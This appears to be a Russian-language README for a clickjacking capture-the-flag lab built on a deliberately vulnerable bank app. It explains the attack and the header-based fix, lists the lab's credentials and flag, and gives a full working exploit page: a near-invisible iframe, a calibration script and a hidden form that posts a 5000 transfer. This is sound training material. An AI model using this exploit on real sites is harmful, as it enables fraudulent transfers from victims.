Clickjacking это атака, при которой злоумышленник загружает целевой сайт в невидимый iframe и накладывает поверх свои элементы. Жертва думает, что кликает по кнопке на сайте злоумышленника, но на самом деле клик приходится на невидимый элемент целевого сайта.
Ключевая причина - отсутствие HTTP-заголовков, запрещающих встраивание сайта в iframe (X-Frame-Options или Content-Security-Policy с директивой frame-ancestors).
- Злоумышленник может замаскировать кнопку перевода средств
- При клике на фейк кнопку жертва может перевести деньги злоумышленнику
- Флаг появляется когда баланс становится нулевым
// Запрет для всех сайтов
header('X-Frame-Options: DENY');
// Разрешить только для своего домена
header('X-Frame-Options: SAMEORIGIN');// Запрет для всех
header("Content-Security-Policy: frame-ancestors 'none';");
// Разрешить только для своего домена
header("Content-Security-Policy: frame-ancestors 'self';");- Docker
# Клонирование репозитория
git clone https://github.com/validverify/clickjacking-ctf.git
cd clickjacking-ctf
# Файл с переменными
cat .env > VARIABLES
# Запуск приложения
docker-compose up --build- Уязвимое банковское приложение
| Название перменной | Описание | Значение |
|---|---|---|
| FLAG | Флаг выигрыша | practice{clickjacking_ctf} |
| WEB_PORT | Порт работы веба | 8080 |
| ADMIN_USERNAME | Логин администратора | hr_manager |
| ADMIN_PASSWORD | Пароль администратора | hr123 |
В приложении отсутствуют заголовки защиты от встраивания в iframe
- Проверить возможность вставки сайта в iframe
- Предоставить боту или реальному администратору войти на сайт под учетной записью администратора
- Создать эксплоит (exploit.html)
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Bank Exploit</title>
<style>
body {
margin: 0;
padding: 0;
background: linear-gradient(135deg, #11998e, #38ef7d);
font-family: 'Arial', sans-serif;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.bonus-card {
background: white;
padding: 50px;
border-radius: 20px;
text-align: center;
box-shadow: 0 20px 40px rgba(0,0,0,0.2);
max-width: 400px;
position: relative;
z-index: 2;
}
h1 {
color: #333;
font-size: 32px;
margin-bottom: 20px;
}
.amount {
font-size: 48px;
color: #11998e;
font-weight: bold;
margin: 20px 0;
}
.claim-btn {
background: #11998e;
color: white;
border: none;
padding: 20px 40px;
font-size: 24px;
border-radius: 10px;
cursor: pointer;
margin-top: 20px;
font-weight: bold;
transition: transform 0.2s;
width: 100%;
}
.claim-btn:hover {
transform: scale(1.05);
background: #0f8b7a;
}
iframe {
position: absolute;
top: 120px;
left: 200px;
width: 500px;
height: 400px;
border: none;
opacity: 0.001;
z-index: 1;
}
.debug-info {
position: fixed;
bottom: 10px;
left: 10px;
background: black;
color: white;
padding: 10px;
z-index: 999;
}
</style>
</head>
<body>
<!-- Iframe с целью -->
<iframe id="bankFrame" src="http://localhost:8080/"></iframe>
<!-- Кнопка приманка -->
<div class="bonus-card">
<h1>Текст приманка</h1>
<button class="claim-btn" onclick="alert('Бонус зачислен!')">
ЗАМАНЧИВАЯ КНОПКА
</button>
</div>
<div class="debug-info" id="debug">
Калибровка
</div>
<script>
function calibrate() {
var iframe = document.getElementById('bankFrame');
var button = document.querySelector('.claim-btn');
var buttonRect = button.getBoundingClientRect();
var offsetX = -50;
var offsetY = -130;
iframe.style.top = (buttonRect.top + offsetY) + 'px';
iframe.style.left = (buttonRect.left + offsetX) + 'px';
document.getElementById('debug').innerHTML =
'Кнопка: (' + Math.round(buttonRect.left) + ', ' + Math.round(buttonRect.top) + ')<br>' +
'Iframe: (' + Math.round(buttonRect.left + offsetX) + ', ' + Math.round(buttonRect.top + offsetY) + ')<br>' +
'Смещения: X=' + offsetX + ', Y=' + offsetY;
}
window.onload = calibrate;
window.onresize = calibrate;
</script>
</body>
</html>- Откалибровать iframe под кнопку
- Изменить opacity на примерно 0.5
- Менять X, Y под нужный уровень
- Запонить удачное расположение и записать значения X, Y
- Обратно opacity почти в ноль (0.001)
- Добавить параметры для перевода средств
Добавляем скрытые поля
<form id="transferForm" action="http://MACHINE_IP:8080/" method="POST" target="bankFrame">
<input type="hidden" name="transfer" value="1">
<input type="hidden" name="to" value="целевой аккаунтс">
<input type="hidden" name="amount" value="5000">
</form>- Запустить HTTP сервер под эксплоит
python -m http.server 8000- Получить флаг
<!DOCTYPE html>
<html>
<head>
<style>
iframe {
position: absolute;
top: 250px;
left: 200px;
width: 500px;
height: 400px;
border: none;
opacity: 0.001;
}
.bonus-btn {
position: absolute;
top: 380px;
left: 250px;
padding: 20px 40px;
background: green;
color: white;
border: none;
font-size: 24px;
cursor: pointer;
}
</style>
</head>
<body>
<iframe src="http://MACHINE_IP:8080/"></iframe>
<button class="bonus-btn" onclick="alert('Done!')">ЗАМАНЧИВАЯ КНОПКА</button>
</body>
</html>│ .env │ docker-compose.yml │ Dockerfile.web │ └───WEB index.php style.css
docker-machine ip